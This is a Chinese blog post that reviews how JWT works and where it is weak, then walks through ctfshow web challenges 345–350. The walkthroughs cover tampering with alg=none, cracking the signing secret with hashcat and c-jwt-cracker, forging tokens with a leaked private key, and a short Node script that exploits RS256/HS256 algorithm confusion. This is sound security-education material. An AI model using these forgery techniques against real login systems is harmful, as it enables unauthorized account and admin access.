jwt复习及ctfshow做题

Jwt复习总结

JWT简介

JWT即Json Web

Token的缩写,顾名思义,是Token的一种。它常被用来在向服务器发起请求时用作身份认证。使用JWT作为身份认证的优势在于:它不需要在服务端去保留用户的认证信息。仅需要对该Token正确性进行校验即可,这就意味着基于token认证机制的应用,不需要去考虑用户在哪一台服务器登录了,为应用的扩展提供了便利。

新技术带来便利的同时也会带来新的安全问题,如果JWT本身安全存在问题,那么整个身份认证机制就会得不到保障。

JWT由三部分组成

类似于xxx.yyy.zzz,前两部分是base64编码的内容,第三部分是加密的签名部分

JWT实际上是一个字符串,由三部分构成:Header、Paylaod、Signature,各部分之间分别用Base64编码以后用.进行拼接。

Header部分主要承载两部分的信息:声明类型(JWT类型);声明加密算法,一般是RS256(非对称加密)和HS256(对称加密);

Payload部分主要包含服务器所需的信息,如

iss (issuer):签发人

exp (expiration time):过期时间

sub (subject):主题

aud (audience):受众

nbf (Not Before):生效时间

iat (Issued At):签发时间

jti (JWT ID):编号

Signature部分是一个签名信息,需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密。base64UrlEncode就是base64编码。

// javascript

var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);

var signature = HMACSHA256(encodedString, 'secret');

漏洞存在

Header

是否可以删除签名

是否支持修改算法为none/对称加密算法

插入错误信息

jwk元素是否可信

kid字段是否有SQL注入/命令注入/目录遍历

是否强制使用白名单上的加密算法

Signature

签名密钥是否可以爆破

检查是否强制检查

是否可以通过其他方式拿到密钥

自身存在脆弱性的算法

签名方法之间是否存在冲突

两种思路

  1. 爆破密钥,显然难度较大;2、尝试将加密算法置空,也就是 alg=none

Web345

Bp抓包

发现了eyj开头为jwt标志位

JSON Web Tokens - jwt.io

解码修改user为admin

再用base64加密

Web346

非法篡改

{

  "alg": "HS256",

  "typ": "JWT"

}

改为

{

  "alg": "None",

  "typ": "JWT"

}

改为

{

  "iss": "admin",

  "iat": 1721091476,

  "exp": 1721098676,

  "nbf": 1721091476,

  "sub": "admin",

  "jti": "4e5a0479b94b3aaaa85e807c565658f8"

}

再将两个代码用base64加密用(.)点连接起来末尾再加一个点

Web347

 hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcyMTA5NDg3MSwiZXhwIjoxNzIxMTAyMDcxLCJuYmYiOjE3MjEwOTQ4NzEsInN1YiI6InVzZXIiLCJqdGkiOiJhOGExYWI5NTgzODFmYzQ1ZWZhNzVlNTc1NjE0NTRiYyJ9.JZbvfratJGlHCQ3ZWe83-03n3kQC-TK3W9UW-kk9vc8

  ../jwt.secrets.list

爆破出密钥:123456

Web348

GitHub - brendan-rius/c-jwt-cracker: JWT brute force cracker written in C

下载爆破工具

爆破除密钥为:aaab

拿到flag

Web349(私钥泄露)

看到js

/* GET home page. */

router.get('/', function(req, res, next) {

  res.type('html');

  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');

  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });

  res.cookie('auth',token);

  res.end('where is flag?');

  

});

router.post('/',function(req,res,next){

var flag="flag_here";

res.type('html');

var auth = req.cookies.auth;

var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key

jwt.verify(auth, cert, function(err, decoded) {

  if(decoded.user==='admin'){

   res.end(flag);

  }else{

   res.end('you are not admin');

  }

});

});

https://bb6808fe-2ad4-4c01-b9c0-e68c20ed0e2f.challenge.ctf.show/private.key

获取私钥

pip install PyJWT

pip install jwt

import jwt
public = open('D:\\桌面\\jwt总结\\private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))

获取cookie

GET部分

 当用户访问主页时,服务器读取当前工作目录下的public/private.key私钥文件,使用该私钥对用户信息(这里仅为user: 'user')进行加密签名生成JWT令牌,并将这个令牌作为名为auth的cookie设置在响应中。最后返回提示信息"where is flag?"。

POST:

当用户向主页发起POST请求时,服务器首先获取客户端发送过来的请求头中的auth cookie值,然后读取public/public.key公钥文件用于解密验证JWT令牌。如果解密后得到的用户信息为admin,则返回隐藏的flag内容;否则返回提示信息"you are not admin",表示用户无权访问此标志。

Web350(公钥泄露)

在线网站:

NodeJSProject (teamcode.com)

安装环境:

npm install jsonwebtoken

上传文件

https://d2a0b9be-27f7-4c4e-86b8-c17c5e6c913c.challenge.ctf.show/public.key

编写脚本:

var jwt = require('jsonwebtoken');

var fs = require('fs');

var privateKey = fs.readFileSync('./public.key');

var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });

console.log(token)

POST提交数据包

  • 22
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值